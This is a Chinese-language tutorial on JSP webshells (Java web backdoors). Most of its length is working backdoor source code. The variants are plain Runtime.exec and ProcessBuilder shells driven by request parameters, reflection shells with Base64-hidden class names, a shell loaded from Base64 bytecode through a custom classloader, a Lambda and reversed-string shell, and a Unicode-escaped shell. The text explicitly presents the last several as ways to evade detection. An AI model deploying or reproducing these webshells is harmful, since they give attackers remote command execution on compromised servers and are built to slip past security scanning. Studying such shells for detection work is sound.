JavaWeb后门(webshell)基础

0x00 基础

JSP

JSP全称为JavaServer Pages，是一种用于开发支持动态内容的Web页面的技术。它有助于开发人员通过使用特殊的JSP标记在HTML页面中插入Java代码，其中大多数以<％开头，以％>结尾。Java是一种通用的计算机编程语言，它是并发的，基于类的，面向对象的，并且专门设计为具有尽可能少的实现依赖性。而JSP是一种技术，可帮助软件开发人员基于HTML，XML或其他文档类型创建动态生成的Web页面。

JSPX

jspx其实就是xml格式的jsp文件

jsp的后缀可以兼容为jspx的代码，也兼容jspx的所有特性，如CDATA特性。
jspx的后缀不兼容为jsp的代码，jspx只能用jspx的格式

Java Web 后门

Java Web 是很多大型厂商的选择，也正是因为如此，Java Web 的安全问题日益得到重视，JSP Webshell 就是其中之一。最著名的莫过于 PHP 的各种奇思妙想的后门，但与 PHP 不同的是，Java 是强类型语言，语言特性较为严格，不能够像 PHP 那样利用字符串组合当作系统函数使用，但即便如此，随着安全人员的进一步研究，依旧出现了很多奇思妙想的 JSP Webshell。下面我们将通过几种不同的 JSP Webshell 来简单讲解 Java Web 后门

0x01 函数调用

与 PHP 中的命令执行函数 system() 和 eval() 类似，Java 中也存在命令执行函数，其中使用最频繁的是 java.lang.Runtime.exec() 和 java.lang.ProcessBuilder.start()，通过调用这两个函数，可以编写简单的 Java Web 后门。

直接调用

无回显：

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

有回显：

java.lang.Runtime.exec()

<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %><%// 获取Runtime对象
Runtime runtime = Runtime.getRuntime();// 执行系统命令
Process process = runtime.exec("whoami");
//Process process = runtime.exec(request.getParameter("cmd"));// 获取进程的输入流，并将其转换为BufferedReader
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));// 读取命令的输出
String line;
while ((line = reader.readLine()) != null) {out.println(line + "<br>");
}%>

java.lang.ProcessBuilder.start()

<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %><%try {// 创建一个ProcessBuilder对象，并设置要执行的命令ProcessBuilder processBuilder = new ProcessBuilder("whoami");//ProcessBuilder processBuilder = new ProcessBuilder("whoami","/priv");// 启动进程Process process = processBuilder.start();// 获取进程的输入流，并将其转换为BufferedReaderInputStream inputStream = process.getInputStream();BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));// 读取命令的输出String line;while ((line = reader.readLine()) != null) {out.println(line + "<br>");}// 等待命令执行完成int exitCode = process.waitFor();//out.println("命令执行完成，退出码：" + exitCode);} catch (IOException | InterruptedException e) {e.printStackTrace();}
%>

反射调用

不直接使用类名调用方法的方式去构造后门，而是采用动态加载的方式，把所要调用的类与函数放到一个字符串的位置，然后利用各种变形（此处利用的是 Base64 编码）来达到对恶意类或函数隐藏的目的：

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));Method runtimeMethod = rt.getMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));Method method = rt.getMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);Object object = method.invoke(runtimeMethod.invoke(null),cmd);// 执行系统命令
Process process = (Process) object;// 获取进程的输入流，并将其转换为BufferedReader
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));// 读取命令的输出
String line;
while ((line = reader.readLine()) != null) {out.println(line + "<br>");
}
%>

字节码

由于反射可以直接调用各种私有类方法，导致了利用反射编写的后门层出不穷，其中最有代表性的就是通过加载字节码编写的后门，这种后门使服务端动态地将字节码解析成 Class，这样一来就可以达到“一句话木马”的效果

javac字节码生成：

这种方式简单的说就是用ideal将java文件编程成class文件，然后将class读取出来用base64编码即可，这种方式比较方便简单，不需要会使用ASM，javassist等字节码框架。

shell.java:

package com.demo;import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;public class Shell {public static String runs(String cmd) throws IOException {Process process = Runtime.getRuntime().exec(cmd);InputStream is = process.getInputStream();BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));String r = "";String s = "";while((r = bufferedReader.readLine())!=null){s += r;}return s;}}

shell.class --> base64编码

package com.demo;import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.channels.FileChannel;
import java.util.Base64;public class Demo {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {FileChannel fileChannel = null;FileInputStream in = null;in = new FileInputStream("C:\\java\\com\\demo\\Shell.class");fileChannel = in.getChannel();ByteBuffer buffer = ByteBuffer.allocate((int) fileChannel.size());while (fileChannel.read(buffer) > 0) {}System.out.println(new String(Base64.getEncoder().encode(buffer.array())));}
}

自定义classloader:

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.FileInputStream" %>
<%@ page import="java.nio.channels.FileChannel" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%Method defineClass =ClassLoader.class.getDeclaredMethod("defineClass", String.class,byte[].class, int.class, int.class);defineClass.setAccessible(true);byte[] bytes =  Base64.getDecoder().decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");Class shell = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "com.demo.Shell", bytes, 0, bytes.length);Object object =  shell.newInstance();Method dm = shell.getDeclaredMethod("runs",String.class);Object invoke = dm.invoke(object, "calc");
%>

更多加载字节码的方式参考：

https://tttang.com/archive/1739/

0x02 JDK特性

JDK 全称为 Java Development Kit，是 Java 开发环境。我们通常所说的 JDK 指的是 Java SE (Standard Edition) Development Kit。除此之外还有 Java EE（Enterprise Edition）和 Java ME（Micro Edition）。从 JDK 诞生至今，每个版本都有不同的特性，利用这些特性可以编写出不同类型的 Java Web 后门。

这里展示利用 Lambda 表达式编写的 JSP 一句话木马。

Lambda表达式是Java 8引入的一种函数式编程特性。它提供了一种更简洁、更灵活的方式来编写匿名函数。

Lambda 允许把函数作为一个方法的参数（函数作为参数传递进方法中）。利用这个特性我们可以操作类名，从而达到躲避检测的目的。

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.util.function.Function" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="java.util.stream.Collectors" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Collections" %>
<%@ page import="java.util.ArrayList" %><html>
<head><title>Title</title>
</head>
<body>
<%// 定义一个字符串数组，其中包含一个元素 "redliuBssecorP.gnal.avaj"String[] planets = new String[] { "redliuBssecorP.gnal.avaj" };// 使用Java 8的流式编程方式将字符串数组中的元素进行反转Arrays.asList(planets).replaceAll(s -> new StringBuilder(s).reverse().toString());// 将字符串数组转换为字符串，并去除其中的方括号 '[' 和 ']'String name = Arrays.toString(planets).replace("[","").replace("]","");// 定义两个字符串变量，一个是 "start"，另一个是通过请求参数获取到的 "pw" 值String st = "start";String pw = request.getParameter("pw");// 使用反射获取 Class 对象，该对象对应于指定的类名（name变量）Class cls = Class.forName(name);// 使用反射创建一个对象，调用该类的构造方法，并传入一个 List 对象作为参数Object obj = cls.getConstructor(List.class).newInstance(Arrays.asList(pw));// 使用反射获取指定方法名（st变量）对应的 Method 对象Method startCmd = cls.getMethod(st);// 使用反射调用方法，传入创建的对象作为调用者，并获取返回的结果Process process = (Process)startCmd.invoke(obj);// 获取进程的输入流，并将其转换为BufferedReaderInputStream inputStream = process.getInputStream();BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));// 在页面上打印输出结果的起始标签out.print("<pre>");// 逐行读取命令的输出，并将每一行输出到页面上String line;while ((line = reader.readLine()) != null) {out.println(line + "<br>");}// 在页面上打印输出结果的结束标签out.print("</pre>");
%>

运行环境需要java 8 + tomcat9 以上的版本

0x03 编码

jsp支持unicode编码

将代码（除page以及标签）进行unicode编码，并添加到<%%>标签中，即可执行webshell

在线unicode编码转换：
https://3gmfw.cn/tools/unicodebianmazhuanhuanqi/

注意用此在线unicode编码后内容会存在 /ua ，需要手动删除，负责无法正常运行

注意这里的\uuuu00可以换成\uuuu00uuu…可以跟多个u达到绕过的效果

<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%><%\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu0063\uuuu006d\uuuu0064\uuuu0020\uuuu003d\uuuu0020\uuuu0072\uuuu0065\uuuu0071\uuuu0075\uuuu0065\uuuu0073\uuuu0074\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0050\uuuu0061\uuuu0072\uuuu0061\uuuu006d\uuuu0065\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0022\uuuu0063\uuuu006d\uuuu0064\uuuu0022\uuuu0029\uuuu003b\uuuu0050\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu0020\uuuu0070\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu0028\uuuu0029\uuuu002e\uuuu0065\uuuu0078\uuuu0065\uuuu0063\uuuu0028\uuuu0063\uuuu006d\uuuu0064\uuuu0029\uuuu003b\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0020\uuuu0069\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu0070\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0028\uuuu0029\uuuu003b\uuuu0042\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0020\uuuu0062\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0042\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0028\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0028\uuuu0069\uuuu0073\uuuu0029\uuuu0029\uuuu003b\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0075\uuuu006c\uuuu006c\uuuu003b\uuuu0077\uuuu0068\uuuu0069\uuuu006c\uuuu0065\uuuu0028\uuuu0028\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu0062\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu002e\uuuu0072\uuuu0065\uuuu0061\uuuu0064\uuuu004c\uuuu0069\uuuu006e\uuuu0065\uuuu0028\uuuu0029\uuuu0029\uuuu0021\uuuu003d\uuuu006e\uuuu0075\uuuu006c\uuuu006c\uuuu0029\uuuu007b\uuuu0072\uuuu0065\uuuu0073\uuuu0070\uuuu006f\uuuu006e\uuuu0073\uuuu0065\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0057\uuuu0072\uuuu0069\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0029\uuuu002e\uuuu0070\uuuu0072\uuuu0069\uuuu006e\uuuu0074\uuuu006c\uuuu006e\uuuu0028\uuuu0072\uuuu0029\uuuu003b\uuuu007d%>